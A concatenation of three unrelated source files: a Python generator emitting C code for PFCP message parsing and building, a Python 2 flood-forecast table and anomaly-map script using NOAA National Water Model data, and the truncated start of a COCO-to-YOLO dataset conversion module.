memset(pfcpMessage, 0, sizeof(PfcpMessage)); // clear pfcpMessage
if (header->seidP) {
size = PFCP_HEADER_LEN;
} else {
size = PFCP_HEADER_LEN - PFCP_SEID_LEN;
}
bufBlk->buf += size;
bufBlk->len -= size;
bufBlk->size -= size;
memcpy(&pfcpMessage->header, bufBlk->buf - size, size);
if (header->seidP) {
pfcpMessage->header.seid = be64toh(pfcpMessage->header.seid);
} else { // not sure what is this for
pfcpMessage->header.sqn = pfcpMessage->header.sqn_only;
pfcpMessage->header.sqn_only = pfcpMessage->header.sqn_only;
}
if (bufBlk->len == 0) {
return STATUS_OK;
}
switch(pfcpMessage->header.type) {''')
PFCPMessageSourceFd.indent(+2)
for i, row in enumerate(ieTable.rows):
if (i == 0 or i == 1 or i == 2):
continue
if row.cells[0].paragraphs[0].text.isdigit():
msg = snackCase(row.cells[1].paragraphs[0].text)
if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
elif msg[:7] == "PFCPPFD":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))}.presence = 1;')
PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))} + 1, &ieDescriptionTable[{msg} + 155], bufBlk->buf, bufBlk->len);')
elif msg[5:10] == "HEART":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))}.presence = 1;')
PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155], bufBlk->buf, bufBlk->len);')
elif re.match("^PFCP_SESSION.*", msg) and not re.match("^PFCP_SESSION_SET.*", msg):
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}.presence = 1;')
PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155 - (50-15) - 1], bufBlk->buf, bufBlk->len);')
else:
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}.presence = 1;')
if i > 13:
PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155 - 1], bufBlk->buf, bufBlk->len);')
else:
PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg}+155], bufBlk->buf, bufBlk->len);')
PFCPMessageSourceFd.fprint('break;')
PFCPMessageSourceFd.indent(-1)
PFCPMessageSourceFd.indent(-2)
PFCPMessageSourceFd.fprint(''' default:
UTLT_Warning("Not implmented(type:%d)", &pfcpMessage->header.type);
}
return status;
}
int _TlvBuildMessage(Bufblk **bufBlkPtr, void *msg, IeDescription *ieDescription) {
//UTLT_Warning("Addr : %p", msg);
UTLT_Assert(bufBlkPtr, return 0, "buffer error");
UTLT_Assert(msg, return 0, "message error");
if (*(unsigned long *)msg == 0) {
// present bit
//UTLT_Warning("no ie");
return 0;
}
if (ieDescription->isTlvObj) {
//UTLT_Info("TLV: type: %d, len: %d", ((TlvOctet *)msg)->type, ((TlvOctet *)msg)->len);
//UTLT_Info("msgType: %d, msgLen: %d", ieDescription->msgType, ((TlvOctet *)msg)->len);
int buffLen = sizeof(uint16_t) * 2 + ((TlvOctet *)msg)->len;
*bufBlkPtr = BufblkAlloc(1, buffLen);
uint16_t *tagPtr = (uint16_t *) ((*bufBlkPtr)->buf);
uint16_t *lenPtr = &tagPtr[1];
(*bufBlkPtr)->len = buffLen;
*tagPtr = htons(ieDescription->msgType);
*lenPtr = htons(buffLen - sizeof(uint16_t) * 2);
memcpy((void *) &tagPtr[2], ((TlvOctet *)msg)->value, ((TlvOctet *)msg)->len);
} else {
UTLT_Info("not TLV");
size_t idx;
int msgPivot = 0;
*bufBlkPtr = BufblkAlloc(1, sizeof(uint16_t) * 2);
uint16_t *tagPtr = (*bufBlkPtr)->buf;
uint16_t *lenPtr = &tagPtr[1];
(*bufBlkPtr)->len = sizeof(uint16_t) * 2;
*tagPtr = htons(ieDescription->msgType);
UTLT_Warning("Check addr: tag: %p, buf: %p", tagPtr, (*bufBlkPtr)->buf);
UTLT_Info("msgType: %u, tagPtr value: %u, first type: %u", ieDescription->msgType, ((uint16_t*)tagPtr)[0],ntohs(((uint16_t*)(*bufBlkPtr)->buf)[0]));
*lenPtr = htons(0);
int bufOffset = 0;
void *msgNoPresentPtr = &((unsigned long*)msg)[1];
for (idx = 0; idx < ieDescription->numToParse; ++idx) {
Bufblk *tmpBufBlkPtr = NULL;
bufOffset += _TlvBuildMessage(&tmpBufBlkPtr, &((uint8_t *)msgNoPresentPtr)[msgPivot], &ieDescriptionTable[ieDescription->next[idx]]);
if (tmpBufBlkPtr == NULL) {
msgPivot += ieDescriptionTable[ieDescription->next[idx]].msgLen;
//UTLT_Info("TL type[%d], pivot %d", ieDescriptionTable[ieDescription->next[idx]].msgType, msgPivot);
continue;
}
UTLT_Info("tmpBuf T: %u, L: %d", ntohs(((uint16_t *)tmpBufBlkPtr->buf)[0]), ntohs(((uint16_t *)tmpBufBlkPtr->buf)[1]));
BufblkBuf(*bufBlkPtr, tmpBufBlkPtr);
//UTLT_Warning("bufBlk len %d", (*bufBlkPtr)->buf);
BufblkFree(tmpBufBlkPtr);
msgPivot += ieDescriptionTable[ieDescription->next[idx]].msgLen;
UTLT_Info("buff offset: %d, buff Len: %d", bufOffset, (*bufBlkPtr)->len);
}
*lenPtr = htons(bufOffset);
}
//UTLT_Warning("buf len: %d, first type: %d", (*bufBlkPtr)->len, ((uint16_t*)(*bufBlkPtr)->buf)[0]);
return (*bufBlkPtr)->len;
}
void _PfcpBuildBody(Bufblk **bufBlkPtr, void *msg, IeDescription *ieDescription) {
UTLT_Assert(bufBlkPtr, return, "buffer error");
UTLT_Assert(msg, return, "message error");
int idx;
void *root = msg + sizeof(unsigned long);
(*bufBlkPtr) = BufblkAlloc(1, 0);
for (idx = 0; idx < ieDescription->numToParse; ++idx) {
Bufblk *tmpBufBlkPtr;
int rt = _TlvBuildMessage(&tmpBufBlkPtr, root, &ieDescriptionTable[ieDescription->next[idx]]);
if (rt == 0) {
root += ieDescriptionTable[ieDescription->next[idx]].msgLen;
continue;
}
BufblkBuf(*bufBlkPtr, tmpBufBlkPtr);
BufblkFree(tmpBufBlkPtr);
root += ieDescriptionTable[ieDescription->next[idx]].msgLen;
}
}
Status PfcpBuildMessage(Bufblk **bufBlkPtr, PfcpMessage *pfcpMessage) {
Status status = STATUS_OK;
UTLT_Assert(pfcpMessage, return STATUS_ERROR, "pfcpMessage error");
switch(pfcpMessage->header.type) {''')
PFCPMessageSourceFd.indent(+2)
for i, row in enumerate(ieTable.rows):
if (i == 0 or i == 1 or i == 2):
continue
if row.cells[0].paragraphs[0].text.isdigit():
msg = snackCase(row.cells[1].paragraphs[0].text)
if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
elif msg[:7] == "PFCPPFD":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))}, &ieDescriptionTable[{msg} + 155]);')
elif msg[5:10] == "HEART":
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155]);')
elif re.match("^PFCP_SESSION.*", msg) and not re.match("^PFCP_SESSION_SET.*", msg):
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155 - (50-15) - 1]);')
else:
PFCPMessageSourceFd.fprint(f'case {msg}:')
PFCPMessageSourceFd.indent(+1)
if i > 13:
PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155 - 1]);')
else:
PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155]);')
PFCPMessageSourceFd.fprint('break;')
PFCPMessageSourceFd.indent(-1)
PFCPMessageSourceFd.indent(-2)
PFCPMessageSourceFd.fprint(''' default:
UTLT_Warning("Not implmented(type:%d)", &pfcpMessage->header.type);
}
return status;
}
''')
| python |
## create flood forecast table for all the COMIDs on CONUS
# Yan Y. Liu <yanliu@illinois.edu>
# 10/31/2016
# input 1: the list of hydro property lookup table for each HUC6 code
# input 2: NOAA NWM forecast data, one timestamp
# input 3: NHDPlus MR geodb, for creating georeferenced anomaly shp files
# output: an inundation table for all the COMIDs on CONUS as netcdf and csv
import sys, os, string, time, re, getopt, glob, shutil, math
import osr
import netCDF4
import numpy as np
from osgeo import gdal
from osgeo import ogr
import pandas as pd
import xarray as xr
from datetime import datetime
import csv
#import pytz
# read input NOAA NWM netcdf file
def readForecast(in_nc = None):
global comids
global Qs
global h
# open netcdf file
rootgrp = netCDF4.Dataset(in_nc, 'r')
intype='channel_rt'
# metadata_dims = ['station'] # for old nwm format b4 05/2017
metadata_dims = ['feature_id']
dimsize = len(rootgrp.dimensions[metadata_dims[0]]) # num rows
global_attrs={att:val for att,val in rootgrp.__dict__.iteritems()}
timestamp_str=global_attrs['model_output_valid_time']
timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d_%H:%M:%S') # read
#timestamp.replace(tzinfo=pytz.UTC) # set timezone
t = timestamp.strftime('%Y%m%d_%H%M%S') # reformat timestampe output
init_timestamp_str=global_attrs['model_initialization_time']
init_timestamp = datetime.strptime(init_timestamp_str, '%Y-%m-%d_%H:%M:%S') # read
init_t = init_timestamp.strftime('%Y%m%d_%H%M%S') # reformat timestampe output
# create attr data for COMID and flowstream attr
# comids_ref = rootgrp.variables['station_id'] # for old format b4 05/2017
comids_ref = rootgrp.variables['feature_id']
Qs_ref = rootgrp.variables['streamflow']
comids = np.copy(comids_ref)
Qs = np.copy(Qs_ref)
rootgrp.close() # close netcdf file to save memory
# check for invalid Qfc
negCount = 0
for i in range(Qs.size):
if Qs[i] < 0.0:
negCount += 1
print "readForecast(): Warning: read " + str(negCount) + " forecasts with negative value. Will skip these COMIDs."
# create hash table
h = dict.fromkeys(comids)
for i in range(0, dimsize):
h[comids[i]] = i
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + " Loaded " + str(len(comids)) + " stations"
sys.stdout.flush()
return { 'timestamp': t, 'init_timestamp': init_t}
# interpolate H forecast from the static H and Q table dervied from HAND
# assuming the ascending order to stage heights for a COMID in CSV table
def Hinterpolate(Qfc = 0.0, Hlist = [], Qlist = [], count = 0, comid = 0):
if Qfc <= 0:
return -9999.0
Q1 = None
Q1i = 0
Q2 = None
Q2i = 0
for i in range(0, count): # find two Qs that can interpolate H forecast
if Qlist[i] < Qfc: # implicitly Q1 increases
Q1 = Qlist[i]
Q1i = i
if Qlist[i] >= Qfc:
Q2 = Qlist[i]
Q2i = i
break
# linear interpolation
if Q1 is None: # Qfc falls below the range of Qs
return Hlist[0]
if Q2 is None: # Qfc falls beyond the range of Qs
Q1 = Qlist[count - 2]
Q1i = count - 2 # count has to be >=2
Q2 = Qlist[count - 1]
Q2i = count - 1
if Qlist[Q2i] < 0.00000001: # stage table is wrong
return -9999.0 # can't predict
if abs(Q2 - Q1) < 0.000001:
print "WARNING: discharge data flat: count=" + str(count) + " Q1="+str(Q1)+" Q2="+str(Q2) + " Qfc=" + str(Qfc)
return Hlist[Q2i]
Hfc = (Qfc - Q1) * (Hlist[Q2i] - Hlist[Q1i]) / (Q2 - Q1) + Hlist[Q1i]
if Hfc > 25.0: # debug
print "DEBUG: irregular Hfc: comid=" + str(comid) + " Hfc=" + str(Hfc) + " Qfc=" + str(Qfc) + " Q1=" + str(Q1) + " Q2=" + str(Q2) + " H1=" +str(Hlist[Q1i]) + " H2=" +str(Hlist[Q2i]) + " Q1i=" + str(Q1i) + " Q2i=" + str(Q2i)
return Hfc
def updateH(comid = 0, fccount = 0, count = 0, numHeights = 83, h = None, Qs = None, Hlist = None, Qlist = None, comidlist = None, Hfclist = None, Qfclist = None):
if count != numHeights:
print "Warning: COMID " + str(comid) + " has <" + str(numHeights) + " rows on hydroprop table"
j = h[comid]
Qfc = Qs[j]
if Qfc > 0.0:
Hfc = Hinterpolate(Qfc, Hlist, Qlist, count, comid)
if Hfc > 0.0:
comidlist[fccount] = comid
Hfclist[fccount] = Hfc
Qfclist[fccount] = Qfc
return 1
return 0
def forecastH (init_timestr = None, timestr = None, tablelist = None, numHeights = 83, huclist = None, odir = None, nhddbpath = None):
global comids
global Qs
global h
global comidlist
global Qfclist
global Hfclist
global fccount
comidlist = np.zeros(len(comids), dtype='int64')
Hfclist = np.zeros(len(comids), dtype='float64')
Qfclist = np.zeros(len(comids), dtype='float64')
fccount = 0
missings = 0 # in hydro table but not in station hash
nulls = 0 # null values that are not interpolated
catchcount = 0 # count of catchments in hydro table
for i in range(0, len(tablelist)): # scan each HUC's hydro prop table
hpfile = tablelist[i]
hpdata = None
colcatchid = None # memory to store CatchId column
colH = None # memory to store Stage column
colQ = None # memory to store Discharge (m3s-1)/Discharge column
filetype = hpfile.split('.')[-1]
print hpfile + " +++++++ " + filetype
if filetype == 'csv':
hpdata = pd.read_csv(hpfile)
colcatchid = np.copy(hpdata['CatchId'])
colH = np.copy(hpdata['Stage'])
colQ = np.copy(hpdata['Discharge (m3s-1)'])
elif filetype == 'nc':
hpdata = netCDF4.Dataset(hpfile, 'r')
colcatchid = np.copy(hpdata.variables['CatchId'])
colH = np.copy(hpdata.variables['Stage'])
colQ = np.copy(hpdata.variables['Discharge'])
#TODO: error handling on unsupported file formats
catchcount += (colcatchid.size / numHeights )
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + hpfile + " : " + str(colcatchid.size) + " rows "
sys.stdout.flush()
comid = None
count = 0
Hlist = np.zeros(numHeights, dtype = 'float64')
Qlist = np.zeros(numHeights, dtype = 'float64')
#for index, row in csvdata.iterrows(): # loop each row of the table
for i in range(colcatchid.size):
catchid = int(colcatchid[i]) # get comid
if not catchid in h: # hydro table doesn't have info for this comid
missings += 1
continue
if comid is None: # first iteration in the loop
comid = catchid
if comid != catchid : # time to interpolate
updated = updateH(comid, fccount, count, numHeights, h, Qs, Hlist, Qlist, comidlist, Hfclist, Qfclist)
if updated == 1:
fccount += 1
else:
nulls += 1
count = 0
comid = catchid
Hlist.fill(0)
Qlist.fill(0)
Hlist[count] = colH[i]
Qlist[count] = colQ[i]
count += 1
# update the last comid
if comid > 0:
updated = updateH(comid, fccount, count, numHeights, h, Qs, Hlist, Qlist, comidlist, Hfclist, Qfclist)
if updated == 1:
fccount += 1
else:
nulls += 1
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Read " + str(len(comids)) + " stations from NWM, " + str(catchcount) + " catchments from hydro table. " + str(missings / numHeights) + " comids in hydro table but not in NWM. " + str(nulls) + " comids null and skipped. " + str(fccount) + " forecasts generated."
sys.stdout.flush()
# save forecast output
saveForecast(init_timestr, timestr, odir)
# save anomaly shp files
if not nhddbpath is None and os.path.isdir(nhddbpath):
anomalyMethod='linearrate'
# anomalyMethod='lograte'
createAnomalyMap(anomalyMethod, anomalyThreshold = 2.5, filterThreshold = 3.703703, NHDDBPath = nhddbpath, NHDLayerName = 'Flowline', odir=odir)
def saveForecast(init_timestr = None, timestr = None, odir = None):
global comidlist
global Qfclist
global Hfclist
global fccount
# save to netcdf
xds = xr.Dataset({
'COMID': (['index'], comidlist[:fccount]),
# 'Time': (['index'], [timestr for i in range(fccount)]),
'H': (['index'], Hfclist[:fccount]),
'Q': (['index'], Qfclist[:fccount])
})
xds.attrs = {
'Subject': 'Inundation table derived from HAND and NOAA NWM for CONUS',
'Initialization_Timestamp': init_timestr,
'Timestamp': timestr,
'Description': 'Inundation lookup table for all the COMIDs in CONUS through the aggregation of HUC6-level hydro property tables and NOAA NWM forecast netcdf on channel_rt'
}
xds['COMID'].attrs = { 'units': 'index', 'long_name': 'Catchment ID (COMID)'}
xds['H'].attrs = { 'units': 'm', 'long_name': 'Inundation height forecast'}
xds['Q'].attrs = { 'units': 'm3s-1', 'long_name': 'Inundation discharge forecast'}
ofilename = 'inun-hq-table-at-' + init_timestr + '-for-' + timestr
ofilenetcdf = odir + '/' + ofilename + '.nc'
ofilecsv = odir + '/' + ofilename + '.csv'
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Writing netcdf output " + ofilenetcdf
sys.stdout.flush()
xds.to_netcdf(ofilenetcdf)
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Writing csv output " + ofilecsv
sys.stdout.flush()
with open(ofilecsv, 'wb') as ofcsv:
ow = csv.writer(ofcsv, delimiter = ',')
# ow.writerow(['COMID', 'Time', 'H', 'Q']) # header
ow.writerow(['COMID', 'H', 'Q']) # header
for i in range(fccount):
# ow.writerow([comidlist[i], timestr, Hfclist[i], Qfclist[i]])
ow.writerow([comidlist[i], Hfclist[i], Qfclist[i]])
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "DONE"
sys.stdout.flush()
def createAnomalyMap(anomalyMethod='linearrate', anomalyThreshold = 2.5, filterThreshold = 3.703703, NHDDBPath = None, NHDLayerName = None, odir=None):
global comidlist
global Qfclist
global Hfclist
global fccount
global h # reuse h; reset first
# create comid hash for forecast output
h = None
h = dict.fromkeys(comidlist)
for i in range(0, fccount):
h[comidlist[i]] = i
# open NHDPlus MR to scan each flowline only once
ds = gdal.OpenEx( NHDDBPath, gdal.OF_VECTOR | gdal.OF_READONLY)
if ds is None :
print "createAnomalyMap(): ERROR Open failed: " + str(NHDDBPath) + "\n"
sys.exit( 1 )
lyr = ds.GetLayerByName( NHDLayerName )
if lyr is None :
print "createAnomalyMap(): ERROR fetch layer: " + str(NHDLayerName) + "\n"
sys.exit( 1 )
lyr.ResetReading()
num_records = lyr.GetFeatureCount()
lyr_defn = lyr.GetLayerDefn()
srs = lyr.GetSpatialRef()
geomType = lyr.GetGeomType()
# get index of attributes to be extracted
fi_comid = lyr_defn.GetFieldIndex('COMID')
fdef_comid = lyr_defn.GetFieldDefn(fi_comid)
fi_huc = lyr_defn.GetFieldIndex('REACHCODE')
fdef_huc = lyr_defn.GetFieldDefn(fi_huc)
fi_meanflow = lyr_defn.GetFieldIndex('Q0001E')
fdef_meanflow = lyr_defn.GetFieldDefn(fi_meanflow)
# create output shp
driverName = "ESRI Shapefile"
ofilename = 'anomalymap-at-' + init_timestr + '-for-' + timestr
of = odir + '/' + ofilename + '.shp'
drv = gdal.GetDriverByName( driverName )
if drv is None:
print "createAnomalyMap(): ERROR %s driver not available.\n" % driverName
sys.exit( 1 )
ods = drv.Create( of, 0, 0, 0, gdal.GDT_Unknown )
if ods is None:
print "createAnomalyMap(): ERROR Creation of output file failed: "+of+ "\n"
sys.exit( 1 )
olyr = ods.CreateLayer('anomalymap', srs, geomType)
if olyr is None:
print "createAnomalyMap(): ERROR Layer creation failed: anomalymap "+ "\n"
sys.exit( 1 )
# create fields
ofdef_comid = ogr.FieldDefn( "COMID", ogr.OFTInteger)
ofdef_H = ogr.FieldDefn( "H", ogr.OFTReal)
ofdef_Q = ogr.FieldDefn( "Q", ogr.OFTReal)
ofdef_rating = ogr.FieldDefn( "RATING", ogr.OFTReal)
if olyr.CreateField ( ofdef_comid ) != 0 or olyr.CreateField ( fdef_huc ) != 0 or olyr.CreateField ( ofdef_Q ) != 0 or olyr.CreateField ( fdef_meanflow ) != 0 or olyr.CreateField ( ofdef_rating ) != 0 or olyr.CreateField ( ofdef_H ) != 0 :
print "createAnomalyMap(): ERROR Creating fields in output .\n"
sys.exit( 1 )
# get integer index to speed up the loops
olyr_defn = olyr.GetLayerDefn()
ofi_comid = olyr_defn.GetFieldIndex('COMID')
ofi_huc = olyr_defn.GetFieldIndex('REACHCODE')
ofi_Q = olyr_defn.GetFieldIndex('Q')
ofi_meanflow = olyr_defn.GetFieldIndex('Q0001E')
ofi_rating = olyr_defn.GetFieldIndex('RATING')
ofi_H = olyr_defn.GetFieldIndex('H')
count = 0
for f in lyr: # for each row. in NHDPlus MR, it's 2.67m
comid = f.GetFieldAsInteger(fi_comid)
if not comid in h: # comid has no forecast record
continue
i = h[comid] # index of this comid in Qfclist and Hfclist
Qfc = Qfclist[i]
meanflow = f.GetFieldAsDouble(fi_meanflow)
rate = calcAnomalyRate(Qfc, meanflow, anomalyMethod, anomalyThreshold, filterThreshold)
if rate < 0.00000001: # filter by rate diff
continue
# it is an anomaly, get it
Hfc = Hfclist[i]
huc = f.GetFieldAsString(fi_huc)
# create feature and write to output
fc = ogr.Feature( olyr_defn )
fc.SetField(ofi_comid, comid)
fc.SetField(ofi_huc, huc)
fc.SetField(ofi_Q, Qfc)
fc.SetField(ofi_meanflow, meanflow)
fc.SetField(ofi_rating, rate)
fc.SetField(ofi_H, Hfc);
# create geom field
geom = f.GetGeometryRef()
fc.SetGeometry( geom ) # this method makes a copy of geom
if olyr.CreateFeature( fc ) != 0:
print "createAnomalyMap(): ERROR Creating new feature in output for COMID=" + str(comid) + " .\n"
sys.exit( 1 )
fc.Destroy()
count += 1
ds = None
ods = None
print datetime.now().strftime("%Y-%m-%d %H:%M:%S : createAnomalyMap ") + " generated " + str(count) + " anomalies from " + str(fccount) + " forecast reaches"
def calcAnomalyRate(Q = 0.0, meanflow = 0.00000001, anomalyMethod='linearrate', anomalyThreshold = 2.5, filterThreshold = 3.703703):
#filterThreshold = 100.0 / 27 # 100cfs; 100/27 cms
f2m = 3.28084 * 3.28084 * 3.28084
meanflow = meanflow / f2m
if (Q - meanflow < filterThreshold): # absolute change is too small
return 0
if anomalyMethod == 'linearrate': # Q / Qmean > 2.5
return Q - meanflow * anomalyThreshold
else: # lograte: Q > Qmean^2.5
#return Q - meanflow * meanflow * math.sqrt(meanflow)
return Q - math.pow(meanflow, anomalyThreshold)
# global variables
comids = None # COMID list from NWM forecast table
Qs = None # Q forecast list (discharge) from NWM
h = None # hash table for Q forecast lookup, indexed by COMID (station id)
comidlist = None # COMID list, intersection of NWM forecast and hydroprop
Qfclist = None # Q forecast
Hfclist = None # H forecast
fccount = 0 # length of the above three arrays
## software environment:
## . /gpfs_scratch/nfie/users/yanliu/forecast/softenv
# python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/hydroprop/hydroprop-fulltable.nc /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/hydroprop
# python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/HUC6 /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/hydroprop
## forecast table test:
# python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test
## anomaly map shp test:
# python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t10z.short_range.channel_rt.f010.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test/anomaly /gpfs_scratch/usgs/nhd/NFIEGeoNational.gdb
## worst-scenario anomaly test:
# python /projects/nfie/nfie-floodmap/test/forecast-nwm-worst.py /projects/nfie/houston_20170119 "nwm.t10z.short_range.channel_rt.f001.conus.nc nwm.t10z.short_range.channel_rt.f002.conus.nc nwm.t10z.short_range.channel_rt.f003.conus.nc nwm.t10z.short_range.channel_rt.f004.conus.nc nwm.t10z.short_range.channel_rt.f005.conus.nc nwm.t10z.short_range.channel_rt.f006.conus.nc nwm.t10z.short_range.channel_rt.f007.conus.nc nwm.t10z.short_range.channel_rt.f008.conus.nc nwm.t10z.short_range.channel_rt.f009.conus.nc nwm.t10z.short_range.channel_rt.f010.conus.nc nwm.t10z.short_range.channel_rt.f011.conus.nc nwm.t10z.short_range.channel_rt.f012.conus.nc nwm.t10z.short_range.channel_rt.f013.conus.nc nwm.t10z.short_range.channel_rt.f014.conus.nc nwm.t10z.short_range.channel_rt.f015.conus.nc" ./20170119.nwm.t10z.short_range.channel_rt.worstscenario.conus.nc
# python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test ./20170119.nwm.t10z.short_range.channel_rt.worstscenario.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test/anomaly/worstscenario /gpfs_scratch/usgs/nhd/NFIEGeoNational.gdb
if __name__ == '__main__':
hpinput = sys.argv[1] # hydro property file root dir
fcfile = sys.argv[2] # NOAA NWM forecast netcdf path
odir = sys.argv[3] # output netcdf path, directory must exist
nhddbpath = ''
if len(sys.argv) > 4:
nhddbpath = sys.argv[4] # nhdplus mr filegdb path
tobj = readForecast(fcfile) # read forecast, set up hash table
timestr = tobj['timestamp']
init_timestr = tobj['init_timestamp']
huclist = []
tablelist = []
if os.path.isdir(hpinput):
tabledir = hpinput
# read dir list
wildcard = os.path.join(tabledir, '*')
dlist = glob.glob(wildcard)
count = 0
for d in dlist:
if not os.path.isdir(d):
continue
hucid = os.path.basename(d)
csvfile = d+'/'+'hydroprop-fulltable-'+hucid+'.csv'
if not os.path.isfile(csvfile):
continue
tablelist += [ csvfile ]
huclist += [ hucid ]
count +=1
else: # single netcdf file
tablelist += [hpinput]
count = 1
print str(count) + " hydro property tables will be read."
sys.stdout.flush()
forecastH(init_timestr, timestr, tablelist, 83, huclist, odir, nhddbpath)
| python |
"""
COCOPanda :: Trash Panda COCO Data Manipulation
The goal of this package is to convert the COCO dataset into the
Trash Panda YOLO format (nested class directories).
The code in this file is based on:
- The official COCO Python API: pycocotools
- https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocotools/coco.py
- License information can be found in `license.txt`
- ssaru/convert2Yolo
- https://github.com/ssaru/convert2Yolo/
"""
from collections import defaultdict
import json
import os
import sys
import time
import numpy as np
import copy
import itertools
from pycocotools.coco import COCO
def _is_array_like(obj):
return hasattr(obj, "__iter__") and hasattr(obj, "__len__")
def print_progress_bar(
iteration, total, prefix="", suffix="", decimals=1, length=100, fill="█"
):
"""Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
length - Optional : character length of bar (Int)
fill - Optional : bar fill character (Str)
"""
percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total)))
filled_length = int(length * iteration // total)
bar = fill * filled_length + "-" * (length - filled_length)
print(
"\r%s|%s| %s%% (%s/%s) %s" % (prefix, bar, percent, iteration, total, suffix),
end="\r",
)
# Print New Line on Complete
if iteration == total:
print("\n")
class Coco:
def __init__(self, json_path=None):
"""Constructor of handler class for the COCO dataset format.
:param json_path (str) : Location of annotation file (json)
"""
# === Load dataset === #
# Set up base variables as dictionaries
self.dataset, self.annos, self.cats, self.imgs = {}, {}, {}, {}
# Initialize index data structures as `defaultdict`
self.img_to_annos, self.cat_to_imgs = defaultdict(list), defaultdict(list)
if json_path:
print("Loading annotations into memory...")
tic = time.time()
with open(json_path, "r") as jsf:
dataset = json.load(jsf) # Load json and confirm format is correct
assert (
type(dataset) == dict
), f"File format {type(dataset)} not supported."
print(f"Done (t = {time.time() - tic:0.2f}s)")
self.dataset = dataset
self.create_index()
def create_index(self):
"""Creates an index between images and classes, and images and annotations."""
print("Creating index...")
annos, cats, imgs = {}, {}, {}
img_to_annos, cat_to_imgs = defaultdict(list), defaultdict(list)
if "annotations" in self.dataset:
for anno in self.dataset["annotations"]:
# For each annotation, add index on image_id
# Each image_id will then have a list of its corresponding annotations
img_to_annos[anno["image_id"]].append(anno)
annos[anno["id"]] = anno # anno lookup by anno_id
if "images" in self.dataset:
for img in self.dataset["images"]:
imgs[img["id"]] = img # image lookup by image_id
if "categories" in self.dataset:
for cat in self.dataset["categories"]:
